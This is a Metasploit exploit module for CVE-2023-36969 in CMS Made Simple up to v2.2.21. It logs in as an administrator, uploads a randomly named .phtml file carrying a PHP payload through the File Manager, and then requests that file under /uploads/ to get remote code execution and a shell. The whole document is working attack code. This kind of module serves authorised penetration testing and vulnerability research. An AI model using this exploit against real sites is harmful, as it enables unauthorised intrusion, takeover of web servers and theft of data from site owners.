## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'CmsMadeSimple Authenticated File Manager RCE', 'Description' => %q{ CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files with the .phar or .phtml extensions, enabling execution of PHP code leading to RCE. The file can be executed by accessing its URL in the /uploads/ directory. Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14. }, 'License' => MSF_LICENSE, 'Author' => [ 'Okan Kurtuluş', # Initial research 'Mirabbas Ağalarov', # EDB PoC 'tastyrice' # Metasploit Module ], 'References' => [ ['CVE', '2023-36969'], ['EDB', '51600'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Universal', {} ] ], 'Privileged' => false, 'DisclosureDate' => '2023-06-07', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', '']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ] ) end def multipart_form_data(uri, data, message) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', uri), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{message.bound}", 'keep_cookies' => true ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '', 'index.php'), 'method' => 'GET' ) unless res && res.code == 200 vprint_error('Connection Failed') return CheckCode::Unknown('Could not connect to the target') end set_cookie = res.get_cookies return CheckCode::Safe('The target is not vulnerable') unless set_cookie&.match?(/^CMSSESSID/) html = res.get_html_document version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first) vprint_status("#{peer} - CMS Made Simple Version: #{version}") return CheckCode::Appears('The target is running a vulnerable version') if version <= Rex::Version.new('2.2.21') CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable') end def login data = { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'loginsubmit' => 'Submit' } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), 'method' => 'POST', 'vars_post' => data, 'keep_cookies' => true ) fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$} store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) vprint_good("#{peer} - Authentication was successful") end def send_file filename = "#{rand_text_alpha(8..12)}.phtml" c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value payload = get_write_exec_payload(unlink_self: true) # create the message with payload message = Rex::MIME::Message.new message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"') message.add_part(c, nil, nil, 'form-data; name="__c"') message.add_part('1', nil, nil, 'form-data; name="disable_buffer"') message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"") data = message.to_s # send payload payload_res = multipart_form_data('moduleinterface.php', data, message) fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200 vprint_good("#{peer} - File uploaded #{filename}") # open shell res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'uploads', filename), 'method' => 'GET' ) return unless res && res.code == 404 print_error("Shell #{shell_name} not found") end def exploit login send_file end end